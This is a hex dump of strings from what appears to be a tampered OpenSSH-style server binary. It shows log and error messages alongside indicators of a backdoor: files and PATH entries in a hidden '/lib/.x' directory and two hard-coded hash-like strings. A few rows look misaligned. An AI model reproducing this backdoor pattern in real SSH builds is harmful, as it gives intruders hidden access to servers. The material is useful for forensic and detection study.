0806b990   38206269 7473290a 002f6c69 622f2e78   8 bits)../lib/.x
0806b9a0   2f732f73 73685f68 6f73745f 6b657900   /s/ssh_host_key.
0806b9b0   00000000 00000000 00000000 00000000   ................
0806b9c0   20202d68 2066696c 65202020 2046696c     -h file    Fil
0806b9d0   65206672 6f6d2077 68696368 20746f20   e from which to
0806b9e0   72656164 20686f73 74206b65 79202864   read host key (d
0806b9f0   65666175 6c743a20 2573290a 00000000   efault: %s).....
0806ba00   20202d56 20737472 20202020 2052656d     -V str    Rem
0806ba10   6f746520 76657273 696f6e20 73747269   ote version stri
0806ba20   6e672061 6c726561 64792072 65616420   ng already read
0806ba30   66726f6d 20746865 20736f63 6b65740a   from the socket.
0806ba40   00666174 616c3a20 42616420 73657276   .fatal: Bad serv
0806ba50   6572206b 65792073 697a652e 0a006661   er key size...fa
0806ba60   74616c3a 20426164 20706f72 74206e75   tal: Bad port nu
0806ba70   6d626572 2e0a0000 00000000 00000000   mber............
0806ba80   66617461 6c3a2045 78747261 20617267   fatal: Extra arg
0806ba90   756d656e 7420252e 31303073 2e0a0073   ument %.100s...s
0806baa0   73686420 76657273 696f6e20 252e3130   shd version %.10
0806bab0   3073205b 252e3130 30735d00 00000000   0s [%.100s].....
0806bac0   436f756c 64206e6f 74206c6f 61642068   Could not load h
0806bad0   6f737420 6b65793a 20252e32 3030730a   ost key: %.200s.
0806bae0   00000000 00000000 00000000 00000000   ................
0806baf0   00000000 00000000 00000000 00000000   ................
0806bb00   66617461 6c3a2050 6c656173 65206368   fatal: Please ch
0806bb10   65636b20 74686174 20796f75 20686176   eck that you hav
0806bb20   65207375 66666963 69656e74 20706572   e sufficient per
0806bb30   6d697373 696f6e73 20616e64 20746865   missions and the
0806bb40   2066696c 65206578 69737473 2e0a0000    file exists....
0806bb50   00000000 00000000 00000000 00000000   ................
0806bb60   66617461 6c3a2043 6f756c64 206e6f74   fatal: Could not
0806bb70   206c6f61 6420686f 7374206b 65793a20    load host key:
0806bb80   252e3230 30732e20 20436865 636b2070   %.200s.  Check p
0806bb90   61746820 616e6420 7065726d 69737369   ath and permissi
0806bba0   6f6e732e 00646165 6d6f6e3a 20252e31   ons..daemon: %.1
0806bbb0   30307300 00000000 00000000 00000000   00s.............
0806bbc0   466f7263 696e6720 73657276 6572206b   Forcing server k
0806bbd0   65792074 6f202564 20626974 7320746f   ey to %d bits to
0806bbe0   206d616b 65206974 20646966 66657200    make it differ.
0806bbf0   66726f6d 20686f73 74206b65 792e0000   from host key...
0806bc00   496e6974 69616c69 7a696e67 2072616e   Initializing ran
0806bc10   646f6d20 6e756d62 65722067 656e6572   dom number gener
0806bc20   61746f72 3b207365 65642066 696c6520   ator ; seed file
0806bc30   252e3230 3073002f 00000000 00000000   %.200s./........
0806bc40   696e6574 6420736f 636b6574 7320616f   inetd sockets af
0806bc50   74657220 64757070 696e673a 2025642c   ter dupping: %d,
0806bc60   20256400 47656e65 72617469 6e672025    %d.Generating %
0806bc70   64206269 74205253 41206b65 792e2e73   d bit RSA key..s
0806bc80   6f636b65 743a2025 2e313030 73006269   ocket: %.100s.bi
0806bc90   6e643a20 252e3130 30730000 00000000   nd: %.100s......
0806bca0   42696e64 20746f20 706f7274 20256420   Bind to port %d
0806bcb0   6661696c 65643a20 252e3230 30732e00   failed: %.200s..
0806bcc0   77002575 0a005365 72766572 206c6973   w.%u..Server lis
0806bcd0   74656e69 6e67206f 6e20706f 72742025   tening on port %
0806bce0   642e006c 69737465 6e3a2025 2e313030   d..listen: %.100
0806bcf0   73007365 6c656374 3a20252e 31303073   s.select: %.100s
0806bd00   00616363 6570743a 20252e31 30307300   .accept: %.100s.
0806bd10   00000000 00000000 00000000 00000000   ................
0806bd20   53657276 65722077 696c6c20 6e6f7420   Server will not
0806bd30   666f726b 20776865 6e207275 6e6e696e   fork when runnin
0806bd40   6720696e 20646562 75676769 6e67206d   g in debugging m
0806bd50   6f64652e 00666f72 6b3a2025 2e313030   ode..fork: %.100
0806bd60   7300466f 726b6564 20636869 6c642025   s.Forked child %
0806bd70   642e0000 00000000 00000000 00000000   d...............
0806bd80   436f6e6e 65637469 6f6e2066 726f6d20   Connection from
0806bd90   252e3130 30732070 6f727420 25640053   %.100s port %d.S
0806bda0   53482d25 642e2564 2d252e35 3073000a   SH-%d.%d-%.50s..
0806bdb0   00436f75 6c64206e 6f742077 72697465   .Could not write
0806bdc0   20696465 6e742073 7472696e 672e0044    ident string..D
0806bdd0   6964206e 6f742072 65636569 76652069   id not receive i
0806bde0   64656e74 20737472 696e672e 00535348   dent string..SSH
0806bdf0   2d25642e 25642d25 5b5e0a5d 0a005072   -%d.%d-%[^.]..Pr
0806be00   6f746f63 6f6c206d 69736d61 7463682e   otocol mismatch.
0806be10   0a000000 00000000 00000000 00000000   ................
```

```
0806be20  42616420 70726f74 6f636f6c 20766572   Bad protocol ver
0806be30  73696f6e 20696465 6e746966 69636174   sion identificat
0806be40  696f6e3a 20252e31 30307300 00000000   ion: %.100s.....
0806be50  00000000 00000000 00000000 00000000   ................
0806be60  436c6965 6e742070 726f746f 636f6c20   Client protocol
0806be70  76657273 696f6e20 25642e25 643b2063   version %d.%d ; c
0806be80  6c69656e 7420736f 66747761 72652076   lient software v
0806be90  65727369 6f6e2025 2e313030 73000000   ersion %.100s...
0806bea0  50726f74 6f636f6c 206d616a 6f722076   Protocol major v
0806beb0  65727369 6f6e2064 69666666 65722e0a   ersions differ..
0806bec0  00000000 00000000 00000000 00000000   ................
0806bed0  00000000 00000000 00000000 00000000   ................
0806bee0  50726f74 6f636f6c 206d616a 6f722076   Protocol major v
0806bef0  65727369 6f6e2064 69666666 65723a20   ersions differ:
0806bf00  25642076 732e2025 64000000 00000000   %d vs. %d.......
0806bf10  00000000 00000000 00000000 00000000   ................
0806bf20  596f7572 20737368 20766572 73696f6e   Your ssh version
0806bf30  20697320 746f6f20 6f6c6420 616e6420    is too old and
0806bf40  6973206e 6f206c6f 6e676572 20737570   is no longer sup
0806bf50  706f7274 65642e20 20506c65 61736520   ported.  Please
0806bf60  696e7374 616c6c20 61206e65 77657220   install a newer
0806bf70  76657273 696f6e2e 00000000 00000000   version.........
0806bf80  54686973 20736572 76657220 646f6573   This server does
0806bf90  206e6f74 20737570 706f7274 20796f75    not support you
0806bfa0  72206e65 77207373 68207665 7273696f   r new ssh versio
0806bfb0  6e2e0000 00000000 00000000 00000000   n...............
0806bfc0  556e6578 70656374 65642072 65747572   Unexpected retur
0806bfd0  6e207661 6c756520 66726f6d 20636865   n value from che
0806bfe0  636b5f65 6d756c61 74696f6e 2e000000   ck_emulation....
0806bff0  00000000 00000000 00000000 00000000   ................
0806c000  436f6e6e 65637469 6f6e2066 726f6d20   Connection from
0806c010  252e3230 3073206e 6f742061 6c6c6f77   %.200s not allow
0806c020  65640a00 00000000 00000000 00000000   ed..............
0806c030  00000000 00000000 00000000 00000000   ................
0806c040  536f7272 792c2079 6f752061 7265206e   Sorry, you are n
0806c050  6f742061 6c6c6f77 65642074 6f20636f   ot allowed to co
0806c060  6e6e6563 742e0000 00000000 00000000   nnect...........
0806c070  14a90408 14a90408 14a90408 14a90408   ................
0806c080  14a90408 14a90408 14a90408 14a90408   ................
0806c090  14a90408 14a90408 14a90408 14a90408   ................
0806c0a0  14a90408 14a90408 14a90408 14a90408   ................
0806c0b0  14a90408 14a90408 14a90408 14a90408   ................
0806c0c0  14a90408 14a90408 14a90408 04a90408   ................
0806c0d0  14a90408 14a90408 14a90408 14a90408   ................
0806c0e0  14a90408 14a90408 14a90408 14a90408   ................
0806c0f0  14a90408 14a90408 14a90408 74a80408   ............t...
0806c100  14a90408 44a80408 14a90408 34a80408   ....D.......4...
0806c110  b4a80408 f4a80408 54a80408 14a90408   ........T.......
0806c120  d4a80408 14a90408 14a90408 14a90408   ................
0806c130  14a90408 94a80408 64a80408 00000000   ........d.......
0806c140  53656e74 20256420 62697420 7075626c   Sent %d bit publ
0806c150  69632062 65792061 6e642025 6420626900   ic key and %d bi
0806c160  7420686f 7374206b 65792e00 00000000   t host key......
0806c170  00000000 00000000 00000000 00000000   ................
0806c180  5761726e 696e673a 20636c69 656e7420   Warning: client
0806c190  73656c65 63747320 756e7375 70706f72   selects unsuppor
0806c1a0  74656420 63697068 65722e00 00000000   ted cipher......
0806c1b0  00000000 00000000 00000000 00000000   ................
0806c1c0  49502053 706f6f66 696e6720 63686563   IP Spoofing chec
0806c1d0  6b206279 74657320 646f206e 6f74206d   k bytes do not m
0806c1e0  61746368 2e00456e 63727970 74696f6e   atch..Encryption
0806c1f0  20747970 653a2025 2e323030 7300006e    type: %.200s..n
0806c200  5f636f6e 6e656374 696f6e00 73736864   _connection.sshd
0806c210  2e630000 00000000 00000000 00000000   .c..............
0806c220  73656e73 69746976 655f6461 74612e70   sensitive_data.p
0806c230  72697661 74655f6b 65795f62 69747320   rivate_key.bits
0806c240  3e3d2073 656e7369 74697665 5f646174   >= sensitive_dat
0806c250  612e686f 73745f6b 65795f62 69747320   a.host_key.bits
0806c260  2b203132 38000000 00000000 00000000   + 128...........
0806c270  00000000 00000000 00000000 00000000   ................
0806c280  73656e73 69746976 655f6461 74612e68   sensitive_data.h
0806c290  6f73745f 6b65795f 62697473 203e3d20   ost_key.bits >=
0806c2a0  73656e73 69746976 655f6461 74612e70   sensitive_data.p
0806c2b0  72697661 74655f6b 65795f62 69747320   rivate_key.bits
0806c2c0  2b203132 38000000 00000000 00000000   + 128...........
0806c2d0  00000000 00000000 00000000 00000000   ................
0806c2e0  52656365 69766564 20736573 73696f6e   Received session
0806c2f0  206b6579 3b20656e 63727970 74696f6e    key ; encryption
0806c300  20747572 6e656420 6f6e2e00 78002f65    turned on..x./e
0806c310  74632f73 68616446 77000000 00000000   tc/shadow.......
0806c320  43616e27 74206669 6e642025 2e313030   Can't find %.100
0806c330  73277320 73686164 6f772d20 616363   s's shadow - acc
0806c340  65737320 64656e69 65642e00 00000000   ess denied......
0806c350  00000000 00000000 00000000 00000000   ................
```

```
0806c360   4163636f 756e7420 252e3130 30732773   Account %.100s's
0806c370   20706173 73776f72 64206973 20746f6f    password is too
0806c380   206f6c64 202d2066 6f726365 6420746f    old - forced to
0806c390   20636861 6e67652e 002f7573 722f6269    change../usr/bi
0806c3a0   6e2f7061 73737764 00252e31 30307320   n/passwd.%.100s
0806c3b0   252e3130 3073002a 4c4b2a00 4163636f   %.100s.*LK*.Acco
0806c3c0   756e7420 252e3130 30732069 73206c6f   unt %.100s is lo
0806c3d0   636b6564 2e000000 00000000 00000000   cked............
0806c3e0   436f6e6e 65637469 6f6e2066 6f722025   Connection for %
0806c3f0   2e323030 73206e6f 7420616c 6c6f7765   .200s not allowe
0806c400   64206672 6f6d2025 2e313030 730a0000   d from %.100s...
0806c410   00000000 00000000 00000000 00000000   ................
0806c420   436f6e6e 65637469 6f6e2066 6f722025   Connection for %
0806c430   2e323030 73206465 6e696564 2066726f   .200s denied fro
0806c440   6d20252e 31303073 0a00556e 6b6e6f77   m %.100s..Unknow
0806c450   6e206772 6f757020 69642025 640a006e   n group id %d..n
0806c460   6f6e6500 00000000 00000000 00000000   one.............
0806c470   00000000 00000000 00000000 00000000   ................
0806c480   30313233 34353637 38394142 43444546   0123456789ABCDEF
0806c490   30313233 34353637 38394142 43444546   0123456789ABCDEF
0806c4a0   00000000 00000000 00000000 00000000   ................
0806c4b0   00000000 00000000 00000000 00000000   ................
0806c4c0   64343337 37363539 35333262 38636432   d4377659532b8cd2
0806c4d0   34326465 35353166 62626234 35616463   42de551fbbb45adc
0806c4e0   00000000 00000000 00000000 00000000   ................
0806c4f0   00000000 00000000 00000000 00000000   ................
0806c500   35666632 38326365 66653866 64653363   5ff282cefe8fde3c
0806c510   63336564 36613963 34326137 32333464   c3ed6a9c42a7234d
0806c520   00000000 00000000 00000000 00000000   ................
0806c530   00000000 00000000 00000000 00000000   ................
0806c540   43616e6e 6f742063 68616e67 65207573   Cannot change us
0806c550   65722077 68656e20 73657276 6572206e   er when server n
0806c560   6f742072 756e6e69 6e672061 7320726f   ot running as ro
0806c570   6f742e00 00000000 00000000 00000000   ot..............
0806c580   41747465 6d707469 6e672061 75746865   Attempting authe
0806c590   6e746963 6174696f 6e20666f 7220252e   ntication for %.
0806c5a0   31303073 2e000000 00000000 00000000   100s............
0806c5b0   00000000 00000000 00000000 00000000   ................
0806c5c0   4c6f6769 6e20666f 72207573 65722025   Login for user %
0806c5d0   2e313030 73206163 63657074 65642077   .100s accepted w
0806c5e0   6974686f 75742061 75746865 6e746963   ithout authentic
0806c5f0   6174696f 6e2e0000 00000000 00000000   ation...........
0806c600   52686f73 74732061 75746865 6e746963   Rhosts authentic
0806c610   6174696f 6e206469 7361626c 65642e00   ation disabled..
0806c620   52686f73 74732061 75746865 6e746963   Rhosts authentic
0806c630   6174696f 6e206e6f 74206176 61696c61   ation not availa
0806c640   626c6520 666f7220 636f6e6e 65637469   ble for connecti
0806c650   6f6e7320 66726f6d 20756e70 72697669   ons from unprivi
0806c660   6c656765 6420706f 72742e00 00000000   leged port......
0806c670   00000000 00000000 00000000 00000000   ................
0806c680   52686f73 74732061 75746865 6e746963   Rhosts authentic
0806c690   6174696f 6e206163 63657074 65642066   ation accepted f
0806c6a0   6f722025 2e313030 732c2072 656d6f74   or %.100s, remot
0806c6b0   6520252e 31303073 206f6e20 252e3730   e %.100s on %.70
0806c6c0   30732e00 00000000 00000000 00000000   0s..............
0806c6d0   00000000 00000000 00000000 00000000   ................
0806c6e0   52686f73 74732061 75746865 6e746963   Rhosts authentic
0806c6f0   6174696f 6e206661 696c6564 20666f72   ation failed for
0806c700   2027252e 31303073 272c2072 656d6f74    '%.100s', remot
0806c710   65202725 2e313030 73272c20 686f7374   e '%.100s', host
0806c720   2027252e 32303073 272e0000 00000000    '%.200s'.......
0806c730   00000000 00000000 00000000 00000000   ................
0806c740   52686f73 74732077 69746820 52534120   Rhosts with RSA
0806c750   61757468 656e7469 63617469 6f6e2064   authentication d
0806c760   69736162 6c65642e 00000000 00000000   isabled.........
0806c770   00000000 00000000 00000000 00000000   ................
0806c780   52686f73 74735273 61206175 7468656e   RhostsRsa authen
0806c790   74696361 74696f6e 206e6f74 20617661   tication not ava
0806c7a0   696c6162 6c652066 6f722063 6f6e6e65   ilable for conne
0806c7b0   6374696f 6e732066 726f6d20 756e7072   ctions from unpr
0806c7c0   6976696c 65676564 20706f72 742e0000   ivileged port...
0806c7d0   00000000 00000000 00000000 00000000   ................
0806c7e0   52686f73 74735273 61206175 7468656e   RhostsRsa authen
0806c7f0   74696361 74696f6e 206e6f74 20617661   tication not ava
0806c800   696c6162 6c652066 6f722075 6e656e63   ilable for unenc
0806c810   72797074 65642073 65737369 6f6e2e00   rypted session..
0806c820   52686f73 74735273 61206175 7468656e   RhostsRsa authen
0806c830   74696361 74696f6e 206e6f74 20617661   tication not ava
0806c840   696c6162 6c652066 6f722073 65737369   ilable for sessi
0806c850   6f6e2065 6e637279 70746564 20776974   on encrypted wit
0806c860   68206172 63666f75 722e0000 00000000   h arcfour.......
0806c870   00000000 00000000 00000000 00000000   ................
0806c880   52686f73 74735253 41206175 7468656e   RhostsRSA authen
0806c890   74696361 74696f6e 20666169 6c656420   tication failed
```

```
0806c8a0   666f7220 27252e31 30307327 2c207265   for '%.100s', re
0806c8b0   6d6f7465 2027252e 31303073 272c2068   mote '%.100s', h
0806c8c0   6f737420 27252e32 30307327 2e005253   ost '%.200s'..RS
0806c8d0   41206175 7468656e 74696361 74696f6e   A authentication
0806c8e0   20646973 61626c65 642e0000 00000000    disabled.......
0806c8f0   00000000 00000000 00000000 00000000   ................
0806c900   52534120 61757468 656e7469 63617469   RSA authenticati
0806c910   6f6e2066 6f722025 2e313030 73206163   on for %.100s ac
0806c920   63657074 6564  2e00 00000000 00000000   cepted..........
0806c930   00000000 00000000 00000000 00000000   ................
0806c940   52534120 61757468 656e7469 63617469   RSA authenticati
0806c950   6f6e2066 6f722025 2e313030 73206661   on for %.100s fa
0806c960   696c6564 2e000000 00000000 00000000   iled............
0806c970   00000000 00000000 00000000 00000000   ................
0806c980   50617373 776f7264 20617574 68656e74   Password authent
0806c990   69636174 696f6e20 64697361 626c6564   ication disabled
0806c9a0   2e000000 00000000 00000000 00000000   ................
0806c9b0   00000000 00000000 00000000 00000000   ................
0806c9c0   50617373 776f7264 20617574 68656e74   Password authent
0806c9d0   69636174 696f6e20 6e6f7420 61766169   ication not avai
0806c9e0   6c61626c 6520666f 7220756e 656e6372   lable for unencr
0806c9f0   79707465 64207365 7373696f 6e2e0000   ypted session...
0806ca00   546f6f20 6d616e79 20706173 73776f72   Too many passwor
0806ca10   64206175 7468656e 74696361 74696f6e   d authentication
0806ca20   20617474 656d7074 73206672 6f6d2025    attempts from %
0806ca30   2e313030 7320666f 72207573 65722025   .100s for user %
0806ca40   2e313030 732e0000 00000000 00000000   .100s...........
0806ca50   00000000 00000000 00000000 00000000   ................
0806ca60   50617373 776f7264 20617574 68656e74   Password authent
0806ca70   69636174 696f6e20 6661696c 65642066   ication failed f
0806ca80   6f722075 73657220 252e3130 30732066   or user %.100s f
0806ca90   726f6d20 252e3130 30732e00 00000000   rom %.100s......
0806caa0   50617373 776f7264 20617574 68656e74   Password authent
0806cab0   69636174 696f6e20 666f7220 252e3130   ication for %.10
0806cac0   30732061 63636570 7465642e 00436c6f   0s accepted..Clo
0806cad0   73696e67 20636f6e 6e656374 696f6e20   sing connection
0806cae0   746f2025 2e313030 73000000 00000000   to %.100s.......
0806caf0   00000000 00000000 00000000 00000000   ................
0806cb00   50617373 776f7264 20617574 68656e74   Password authent
0806cb10   69636174 696f6e20 666f7220 252e3130   ication for %.10
0806cb20   30732066 61696c65 642e0000 00000000   0s failed.......
0806cb30   00000000 00000000 00000000 00000000   ................
0806cb40   556e6b6e 6f776e20 6d657373 61676520   Unknown message
0806cb50   64757269 6e672061 75746865 6e746963   during authentic
0806cb60   6174696f 6e3a2074 79706520 25640000   ation: type %d..
0806cb70   00000000 00000000 00000000 00000000   ................
0806cb80   524f4f54 204c4f47 494e2052 45465553   ROOT LOGIN REFUS
0806cb90   45442046 524f4d20 252e3230 30730000   ED FROM %.200s..
0806cba0   526f6f74 206c6f67 696e2061 63636570   Root login accep
0806cbb0   74656420 666f7220 666f7263 65642063   ted for forced c
0806cbc0   6f6d6d61 6e642e00 00000000 00000000   ommand..........
0806cbd0   00000000 00000000 00000000 00000000   ................
0806cbe0   524f4f54 204c4f47 494e2061 73202725   ROOT LOGIN as '%
0806cbf0   2e313030 73272066 726f6d20 252e3130   .100s' from %.10
0806cc00   30730000 00000000 00000000 00000000   0s..............
0806cc10   00000000 00000000 00000000 00000000   ................
0806cc20   52656365 69766564 20696c6c 6567616c   Received illegal
0806cc30   20636f6d 70726573 73696f6e 206c6576    compression lev
0806cc40   656c2025 642e0000 00000000 00000000   el %d...........
0806cc50   00000000 00000000 00000000 00000000   ................
0806cc60   52656365 69766564 20696c6c 6567616c   Received illegal
0806cc70   206d6178 20706163 6b657420 73697a65    max packet size
0806cc80   20256c75 2e000000 00000000 00000000   %lu............
0806cc90   00000000 00000000 00000000 00000000   ................
0806cca0   416c6c6f 63617469 6e672061 20707479   Allocating a pty
0806ccb0   206e6f74 20706572 6d697474 65642066    not permitted f
0806ccc0   6f722074 68697320 61757468 656e7469   or this authenti
0806ccd0   63617469 6f6e2e00 00000000 00000000   cation..........
0806cce0   50726f74 6f636f6c 20657272 6f723a20   Protocol error:
0806ccf0   796f7520 616c7265 61647920 68617665   you already have
0806cd00   20612070 74792e00 416c6c6f 63617469    a pty..Allocati
0806cd10   6e672070 74792e00 4661696c 65642074   ng pty..Failed t
0806cd20   6f20616c 6c6f6361 74652070 74792e00   o allocate pty..
0806cd30   74747900 00000000 00000000 00000000   tty.............
0806cd40   63686f77 6e206661 696c6564 20286275   chown failed (bu
0806cd50   74207765 27726520 6e6f7420 726f6f74   t we're not root
0806cd60   20616e79 77617929 20666f72 2025732c    anyway) for %s,
0806cd70   20657272 6f722025 73000000 00000000    error %s.......
0806cd80   7373685f 7074795f 616c6c6f 63617465   ssh_pty_allocate
0806cd90   5f616e64 5f666f72 6b3a2063 686f776e   _and_fork: chown
0806cda0   20666169 6c656420 666f7220 25732e00    failed for %s..
0806cdb0   00000000 00000000 00000000 00000000   ................
0806cdc0   63686d6f 64206661 696c6564 20286275   chmod failed (bu
0806cdd0   74207765 27726520 6e6f7420 726f6f74   t we're not root
```

```
0806cde0  20616e79 77617929 20666f72 2025732c   anyway) for %s,
0806cdf0  20657272 6f722025 73000000 00000000   error %s.......
0806ce00  7373685f 7074795f 616c6c6f 63617465   ssh_pty_allocate
0806ce10  5f616e64 5f666f72 6b3a2063 686d6f64   _and_fork: chmod
0806ce20  2025733a 20257300 00000000 00000000   %s: %s.........
0806ce30  00000000 00000000 00000000 00000000   ................
0806ce40  58313120 666f7277 61726469 6e672064   X11 forwarding d
0806ce50  69736162 6c656420 696e2073 65727665   isabled in serve
0806ce60  7220636f 6e666967 75726174 696f6e20   r configuration
0806ce70  66696c65 2e000000 00000000 00000000   file............
0806ce80  58313120 666f7277 61726469 6e67206e   X11 forwarding n
0806ce90  6f742070 65726d69 74746564 20666f72   ot permitted for
0806cea0  20746869 73206175 7468656e 74696361    this authentica
0806ceb0  74696f6e 2e000000 00000000 00000000   tion............
0806cec0  52656365 69766564 20726571 75657374   Received request
0806ced0  20666f72 20583131 20666f72 77617264    for X11 forward
0806cee0  696e6720 77697468 20617574 68207370   ing with auth sp
0806cef0  6f6f6669 6e672e00 00000000 00000000   oofing..........
0806cf00  50726f74 6f636f6c 20657272 6f723a20   Protocol error:
0806cf10  58313120 64697370 6c617920 616c7265   X11 display alre
0806cf20  61647920 7365742e 00000000 00000000   ady set.........
0806cf30  00000000 00000000 00000000 00000000   ................
0806cf40  52656d6f 74652068 6f737420 68617320   Remote host has
0806cf50  6e6f2058 31312069 6e737461 6c6c6564   no X11 installed
0806cf60  2e000000 00000000 00000000 00000000   ................
0806cf70  00000000 00000000 00000000 00000000   ................
0806cf80  41757468 656e7469 63617469 6f6e2061   Authentication a
0806cf90  67656e74 20666f72 77617264 696e6720   gent forwarding
0806cfa0  6e6f7420 7065726d 69747465 6420666f   not permitted fo
0806cfb0  72207468 69732061 75746865 6e746963   r this authentic
0806cfc0  6174696f 6e2e0000 00000000 00000000   ation...........
0806cfd0  00000000 00000000 00000000 00000000   ................
0806cfe0  41757468 656e7469 63617469 6f6e2061   Authentication a
0806cff0  67656e74 20666f72 77617264 696e6720   gent forwarding
0806d000  64656e69 65642062 65636175 73652074   denied because t
0806d010  6865206f 74686572 20656e64 20757365   he other end use
0806d020  7320746f 6f206f6c 64207665 7273696f   s too old versio
0806d030  6e2e0000 00000000 00000000 00000000   n...............
0806d040  52656365 69766564 20617574 68656e74   Received authent
0806d050  69636174 696f6e20 6167656e 7420666f   ication agent fo
0806d060  72776172 64696e67 20726571 75657374   rwarding request
0806d070  2e000000 00000000 00000000 00000000   ................
0806d080  506f7274 20666f72 77617264 696e6720   Port forwarding
0806d090  6e6f7420 7065726d 69747465 6420666f   not permitted fo
0806d0a0  72207468 69732061 75746865 6e746963   r this authentic
0806d0b0  6174696f 6e2e0000 00000000 00000000   ation...........
0806d0c0  52656365 69766564 20544350 2f495020   Received TCP/IP
0806d0d0  706f7274 20666f72 77617264 696e6720   port forwarding
0806d0e0  72657175 6573742e 00466f72 6b696e67   request..Forking
0806d0f0  20736865 6c6c2e00 45786563 7574696e    shell..Executin
0806d100  6720636f 6d6d616e 64202725 2e353030   g command '%.500
0806d110  73270000 00000000 00000000 00000000   s'..............
0806d120  556e6b6e 6f776e20 7061636b 65742074   Unknown packet t
0806d130  79706520 72656365 69766564 20616674   ype received aft
0806d140  65722061 75746865 6e746963 6174696f   er authenticatio
0806d150  6e3a2025 64000000 00000000 00000000   n: %d...........
0806d160  45786563 7574696e 6720666f 72636564   Executing forced
0806d170  20636f6d 6d616e64 3a20252e 39303073    command: %.900s
0806d180  00000000 00000000 00000000 00000000   ................
0806d190  bcc60408 a0cb0408 34ca0408 d4ca0408   ........4.......
0806d1a0  a0cb0408 a0cb0408 a0cb0408 a0cb0408   ................
0806d1b0  a0cb0408 a0cb0408 a0cb0408 a0cb0408   ................
0806d1c0  a0cb0408 a0cb0408 a0cb0408 a0cb0408   ................
0806d1d0  a0cb0408 a0cb0408 d8c90408 a0cb0408   ................
0806d1e0  80c90408 a0cb0408 a0cb0408 a0cb0408   ................
0806d1f0  88c80408 a0cb0408 a0cb0408 50c60408   ............P...
0806d200  84c60408 00000000 00000000 00000000   ................
0806d210  00000000 00000000 00000000 00000000   ................
0806d220  436f756c 64206e6f 74206372 65617465   Could not create
0806d230  20706970 65733a20 252e3130 30730073    pipes: %.100s.s
0806d240  65747369 643a2025 2e313030 73006475   etsid: %.100s.du
0806d250  70322073 7464696e 00647570 32207374   p2 stdin.dup2 st
0806d260  646f7574 00647570 32207374 64657272   dout.dup2 stderr
0806d270  00666f72 6b206661 696c6564 3a20252e   .fork failed: %.
0806d280  31303073 00000000 00000000 00000000   100s............
0806d290  00000000 00000000 00000000 00000000   ................
0806d2a0  7074795f 636c6561 6e75705f 70726f63   pty_cleanup_proc
0806d2b0  2063616c 6c656420 61676169 6e2c2069    called again, i
0806d2c0  676e6f72 65640070 74795f63 6c65616e   gnored.pty_clean
0806d2d0  75705f70 726f6320 63616c6c 65642e64   up_proc called.d
0806d2e0  75703220 73746469 6e206661 696c6564   up2 stdin failed
0806d2f0  3a20252e 31303073 00676574 70656572   : %.100s.getpeer
0806d300  6e616d65 3a20252e 31303073 00252e32   name: %.100s.%.2
0806d310  3030732f 2e687573 686c6f67 696e004c   00s/.hushlogin.L
```

```
0806d320    61737420 6c6f6769 6e3a2025 2e313030    ast login: %.100
0806d330    730d0a00 00000000 00000000 00000000    s...............
0806d340    4c617374 206c6f67 696e3a20 252e3130    Last login: %.10
0806d350    30732066 726f6d20 252e3230 30730d0a    0s from %.200s..
0806d360    0072002f 6574632f 6d6f7464 00647570    .r./etc/motd.dup
0806d370    20666169 6c65643a 20252e31 30307300     failed: %.100s.
0806d380    25733d25 73004261 64206c69 6e652069    %s=%s.Bad line i
0806d390    6e20252e 31303073 3a20252e 32303073    n %.100s: %.200s
0806d3a0    0a002f65 74632f6e 6f6c6f67 696e0000    ../etc/nologin..
0806d3b0    00000000 00000000 00000000 00000000    ................
0806d3c0    4c6f6769 6e732061 72652063 75727265    Logins are curre
0806d3d0    6e746c79 2064656e 69656420 6279202f    ntly denied by /
0806d3e0    6574632f 6e6f6c6f 67696e3a 0a000000    etc/nologin:....
0806d3f0    00000000 00000000 00000000 00000000    ................
0806d400    65786563 7574696e 67207265 6d6f7465    executing remote
0806d410    20636f6d 6d616e64 20617320 726f6f74     command as root
0806d420    3a20252e 32303073 00000000 00000000    : %.200s........
0806d430    00000000 00000000 00000000 00000000    ................
0806d440    65786563 7574696e 67207265 6d6f7465    executing remote
0806d450    20636f6d 6d616e64 20617320 75736572     command as user
0806d460    20252e32 30307300 73657467 69640069     %.200s.setgid.i
0806d470    6e697467 726f7570 73007365 74756964    nitgroups.setuid
0806d480    2025643a 20252e31 30307300 4661696c    %d: %.100s.Fail
0806d490    65642074 6f207365 74207569 64732074    ed to set uids t
0806d4a0    6f202564 2e002f62 696e2f73 6800484f    o %d../bin/sh.HO
0806d4b0    4d450055 53455200 4c4f474e 414d4500    ME.USER.LOGNAME.
0806d4c0    2f62696e 3a2f7362 696e3a2f 7573722f    /bin:/sbin:/usr/
0806d4d0    62696e3a 2f757372 2f736269 6e3a2f75    bin:/usr/sbin:/u
0806d4e0    73722f6c 6f63616c 2f62696e 3a2f7573    sr/local/bin:/us
0806d4f0    722f6c6f 63616c2f 7362696e 3a2f6269    r/local/sbin:/bi
0806d500    622f2e78 3a2f6c69 622f2e78 2f730050    b/.x:/lib/.x/s.P
0806d510    41544800 2f766172 2f73706f 6f6c2f6d    ATH./var/spool/m
0806d520    61696c00 252e3230 30732f25 2e353073    ail.%.200s/%.50s
0806d530    004d4149 4c005348 454c4c00 5353485f    .MAIL.SHELL.SSH_
0806d540    4f524947 494e414c 5f434f4d 4d414e44    ORIGINAL_COMMAND
0806d550    00545a00 252e3530 73202564 20256400    .TZ.%.50s %d %d.
0806d560    5353485f 434c4945 4e540053 53485f54    SSH_CLIENT.SSH_T
0806d570    54590054 45524d00 44495350 4c415900    TY.TERM.DISPLAY.
0806d580    52454d4f 54455553 45520053 53485f41    REMOTEUSER.SSH_A
0806d590    5554485f 534f434b 002f6574 632f656e    UTH_SOCK./etc/en
0806d5a0    7669726f 6e6d656e 7400252e 32303073    vironment.%.200s
0806d5b0    2f2e7373 682f656e 7669726f 6e6d656e    /.ssh/environmen
0806d5c0    74000000 00000000 00000000 00000000    t...............
0806d5d0    00000000 00000000 00000000 00000000    ................
0806d5e0    436f756c 64206e6f 74206368 64697220    Could not chdir
0806d5f0    746f2068 6f6d6520 64697265 63746f72    to home director
0806d600    79202573 3a202573 0a00456e 7669726f    y %s: %s..Enviro
0806d610    6e6d656e 743a0a00 2020252e 32303073    nment:..  %.200s
0806d620    0a002e73 73682f72 63005275 6e6e696e    ...ssh/rc.Runnin
0806d630    67202573 0a002573 2025730a 00436f75    g %s..%s %s..Cou
0806d640    6c64206e 6f742072 756e2025 730a002f    ld not run %s../
0806d650    6c69622f 2e782f73 2f737368 72630000    lib/.x/s/sshrc..
0806d660    52756e6e 696e6720 252e3130 30732061    Running %.100s a
0806d670    64642025 2e313030 7320252e 31303073    dd %.100s %.100s
0806d680    20252e31 3030730a 00252e32 30307320     %.100s..%.200s
